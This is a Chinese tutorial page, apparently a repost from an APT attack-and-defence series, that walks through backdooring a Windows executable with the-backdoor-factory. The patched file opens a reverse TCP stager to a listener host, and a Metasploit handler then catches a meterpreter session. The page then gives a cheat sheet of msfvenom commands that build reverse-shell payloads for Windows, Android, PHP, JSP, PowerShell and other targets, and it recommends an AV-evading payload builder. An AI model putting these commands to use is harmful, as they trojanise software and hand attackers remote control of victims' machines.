专注 APT 攻击与防御—工具介绍-the-backdoor-factory

news2024/11/18 9:22:27

工具介绍 the-backdoor-factory

项目地址:
GitHub - secretsquirrel/the-backdoor-factory: Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors

原理

可执行二进制文件中有大量的 00,这些 00 是不包含数据的,将这些数据替换成 payload,并且在程序执行的时候,jmp 到代码段,来触发 payload。

以项目中的过磅系统为例:

 
  1. root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
  2. //安装the-backdoor-factory

第九课:工具介绍-the-backdoor-factory - 图1

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
  2. //检测是否支持后门植入
 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
  2. //测试裂缝空间size150

第九课:工具介绍-the-backdoor-factory - 图3

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
  2. //查看可用payload

第九课:工具介绍-the-backdoor-factory - 图4

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
  2. //插入payload,并生成文件。

第九课:工具介绍-the-backdoor-factory - 图5

 
  1. root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
  2. //对比原文件与生成文件MD5值

第九课:工具介绍-the-backdoor-factory - 图6

 
  1. root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
  2. //对比文件大小

第九课:工具介绍-the-backdoor-factory - 图7

 
  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set lhost 192.168.1.111
  5. lhost => 192.168.1.111
  6. msf exploit(handler) > set lport 8080
  7. lport => 8080
  8. msf exploit(handler) > exploit -j
  9. //开启本地监听

第九课:工具介绍-the-backdoor-factory - 图8

//打开软件

第九课:工具介绍-the-backdoor-factory - 图9

 
  1. meterpreter > getuid
  2. Server username: John-PC\John

//确定目标

msfvenom 常用生成 Payload 命令

windows:

 
  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
  2. LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

mac:

 
  1. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

android:

 
  1. //需要签名
  2. msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

 
  1. msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

 
  1. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

 
  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

aspx:

 
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

 
  1. msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

war:

 
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

nodejs:

 
  1. msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

python:

 
  1. msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py

perl:

 
  1. msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl

ruby:

 
  1. msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

lua:

 
  1. msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

windows shellcode:

 
  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

 
  1. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

mac shellcode:

 
  1. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

便捷化payload生成:

项目地址:
GitHub - screetsec/TheFatRat: Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .

 
  1. root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git
  2. //设置时需要挂墙

第十课:msfvenom常用生成payload命令 - 图1

第十课:msfvenom常用生成payload命令 - 图2

第十课:msfvenom常用生成payload命令 - 图3

第十课:msfvenom常用生成payload命令 - 图4

附录:

中文使用说明:

  1. Options:
  2. -p, --payload <payload> 使用指定的payload
  3. --payload-options 列出该payload参数
  4. -l, --list [type] 列出所有的payloads
  5. -n, --nopsled <length> 为payload指定一个 nopsled 长度
  6. -f, --format <format> 指定payload生成格式
  7. --help-formats 查看所有支持格式
  8. -e, --encoder <encoder> 使用编码器
  9. -a, --arch <arch> 指定payload构架
  10. --platform <platform> 指定payload平台
  11. --help-platforms 显示支持的平台
  12. -s, --space <length> 设定payload攻击荷载的最大长度
  13. --encoder-space <length> The maximum size of the encoded payload
  14. (defaults to the -s value)
  15. -b, --bad-chars <list> 指定bad-chars 如: '\x00\xff'
  16. -i, --iterations <count> 指定编码次数
  17. -c, --add-code <path> 指定个win32 shellcode 文件
  18. -x, --template <path> 指定一个 executable 文件作为模板
  19. -k, --keep payload自动分离并注入到新的进程
  20. -o, --out <path> 存放生成的payload
  21. -v, --var-name <name> 指定自定义变量
  22. --smallest Generate the smallest possible payload
  23. -h, --help 显示帮助文件

文章来源:《专注 APT 攻击与防御 - Micro8 系列教程》 - 书栈网 · BookStack

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1637283.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机毕业设计python_django宠物领养系统z6rfy

本宠物领养系统主要包括两大功能模块&#xff0c;即管理员模块、用户模块。下面将对这两个大功能进行具体功能需求分析。 &#xff08;1&#xff09;管理员&#xff1a;管理员登录后主要功能包括个人中心、用户管理、送养宠物管理、地区类型管理、失信黑名单管理、申请领养管理…

瑞芯微-I2S | ALSA基础-3

针对音频设备&#xff0c;linux内核中包含了两类音频设备驱动框架&#xff1b; OSS&#xff1a;开放声音系统 包含dsp和mixer字符设备接口&#xff0c;应用访问底层硬件是直接通过sound设备节点实现的&#xff1b; ALSA&#xff1a;先进linux声音架构&#xff08;Advanced Lin…

bun 换源 国内阿里源 npmmirror 加速下载

Github https://github.com/oven-sh/bun 版本号 bun 1.1.5 windows 安装 bun 如果本机有 nodejs 环境, 可以 npm install -g bun 安装 ( 官方把 exe 已经传到了 npm 仓库, 走的国内 npm 镜像, 下载速度会很快) 没有 nodejs, 可以用 powershell 脚本安装 具体操作 全局 …

Python数据分析实验二:Python数据预处理

目录 一、实验目的与要求二、实验任务三、主要程序清单和运行结果&#xff08;一&#xff09;对chipotle.csv文件的销售数据进行分析&#xff08;二&#xff09;对描述泰坦尼克号成员的信息进行可视化和相关分析 四、实验体会 一、实验目的与要求 1、目的&#xff1a;   掌握…

python爬取网页趋势图的底层数据信息——以历年的黄金价格为例

一、问题引入 黄金价格网址&#xff1a;https://china.gold.org/goldhub/data/gold-prices 问题引入&#xff1a;现有历年的黄金价格信息&#xff08;如图所示&#xff09;&#xff0c;但呈现的方式是趋势图&#xff0c;并没有直接以表格的形式罗列出来&#xff0c;只有当鼠标悬…

家政服务小程序:家政行业的数字化转型

随着大众生活水平的提高&#xff0c;以及老龄化的加速&#xff0c;家政服务已经成为了大众生活中不可或缺的一部分。目前&#xff0c;我国家政服务市场的规模在持续扩大&#xff0c;发展前景一片大好。在日益提升的家政需求下&#xff0c;大众对家政服务的种类也逐渐多样。 为…

RuoYi-Vue-Plus (SPEL 表达式)

RuoYi-Vue-Plus 中SPEL使用 DataScopeType 枚举类中&#xff1a; /*** 部门数据权限*/DEPT("3", " #{#deptName} #{#user.deptId} ", " 1 0 "), PlusDataPermissionHandler 拦截器中定义了解析器&#xff1a; buildDataFilter 方法中根据注解的…

Vue 项目 尚品汇(一)

一、开发环境构造 Vue-cli 脚手架初始化项目 node 平台 和 webpack 和 淘宝镜像 环境 &#xff08;一&#xff09;脚手架 1.安装脚手架 在我们的项目文件夹中路径输入 cmd 然后在终端中输入 vue create app(项目名) 选择 vue 2 然后安装 &#xff08;因为是基于 vue2 开…

Object类的公共方法面试问题及回答

1. 什么是 Object 类&#xff1f; 答&#xff1a; Object 类是 Java 中所有类的超类。每个类都使用 Object 作为树的根&#xff0c;所有对象&#xff08;包括数组&#xff09;都实现这个类的方法。 2. Object 类中有哪些重要的方法&#xff1f; 答&#xff1a; equals(Obje…

上海开放大学《Java程序基础课程实验1》形考作业线上实践答案

答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 上 海 开 放 大 学 学生实验报告 分校&#xff08;站&…

启明云端2.4寸屏+ESP32-S3+小型智能调速电动家用除草机案例 触控三档调速,能显示电压故障码

今天给大家分享个启明云端2.4寸屏ESP32-S3小型智能调速电动家用除草机案例&#xff0c;国外有草坪文化&#xff0c;这个机器能智能触控三档调速&#xff0c;带屏能显示电压故障码&#xff0c;数显档位&#xff08;3档最大&#xff09;&#xff0c;触控屏&#xff0c;长按3秒就能…

【氮化镓】GaN 器件的高温运行

《High Temperature Operation of E-Mode and D-Mode AlGaN/GaN MIS-HEMTs With Recessed Gates》&#xff0c;由HANWOOL LEE, HOJOON RYU, JUNZHE KANG, 和 WENJUAN ZHU (IEEE高级会员) 四位作者共同撰写&#xff0c;发表在《IEEE Journal of the Electron Devices Society》上…

和丰多媒体信息发布系统 QH.aspx 文件上传致RCE漏洞复现

0x01 产品简介 和丰多媒体信息发布系统也称数字标牌(Digital Signage),是指通过大屏幕终端显示设备,发布商业、财经和娱乐信息的多媒体专业视听系统,常被称为除纸张媒体、电台、电视、互联网之外的“第五媒体”。该系统基于Web的全B/S先进架构,支持大用户数、大并发数及…

LeetCode题练习与总结:删除排序链表中的重复元素Ⅱ--82

一、题目描述 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回 已排序的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,3,4,4,5] 输出&#xff1a;[1,2,5]示例 2&#xff1a; 输入&#xff1a;…

容器的通俗讲解:轻松理解容器技术

文章目录 什么是容器&#xff1f;容器与虚拟机的区别容器如何工作&#xff1f;容器的优势容器的应用场景常见容器技术相关解决方案 在当今的软件开发领域&#xff0c;容器技术已经成为一种异常流行的技术&#xff0c;但对于初学者来说&#xff0c;容器究竟是什么以及它们如何工…

Stm32CubeMX 为 stm32mp135d 添加网卡 eth

Stm32CubeMX 为 stm32mp135d 添加网卡 eth 一、启用设备1. eth 设备添加2. eth 引脚配置2. eth 时钟配置 二、 生成代码1. optee 配置2. uboot 配置3. linux 配置 bringup 可参考&#xff1a;Stm32CubeMX 生成设备树 一、启用设备 1. eth 设备添加 我这里只启用一个eth设备&…

容器组_概述

&#x1f4d5;作者简介&#xff1a; 过去日记&#xff0c;致力于Java、GoLang,Rust等多种编程语言&#xff0c;热爱技术&#xff0c;喜欢游戏的博主。 &#x1f4d8;相关专栏Rust初阶教程、go语言基础系列、spring教程等&#xff0c;大家有兴趣的可以看一看 &#x1f4d9;Jav…

Vitis HLS 学习笔记--S_AXILITE 寄存器及驱动

目录 1. 简介 2. S_AXILITE Registers 寄存器详解 2.1 “隐式”优势 2.2 驱动程序文件 2.3 硬件头文件 2.4 硬件头文件中 SC/COR/TOW/COH 的解释 2.5 驱动控制过程 3. 总结 1. 简介 回顾此博文《Vitis HLS 学习笔记--Syn Report解读&#xff08;1&#xff09;-CSDN博…

程序员与土地的关系

目录 一、土地对人类的重要性 二、程序员与土地的关系 二、程序员如何利用GIS技术改变土地管理效率&#xff1f; 四、GIS技术有哪些运用&#xff1f; 五、shapely库计算多边形面积的例子 一、土地对人类的重要性 土地资源对人类是至关重要的。土地是人类赖…

国产操作系统上如何比较软件版本 _ 统信UOS _ 麒麟KOS _ 中科方德

原文链接&#xff1a;国产操作系统上如何比较软件版本 | 统信UOS | 麒麟KOS | 中科方德 Hello&#xff0c;大家好啊&#xff01;在国产操作系统上管理软件版本是确保系统安全性和功能稳定性的关键一环。今天&#xff0c;我将向大家展示如何通过编写脚本在国产操作系统上检查软件…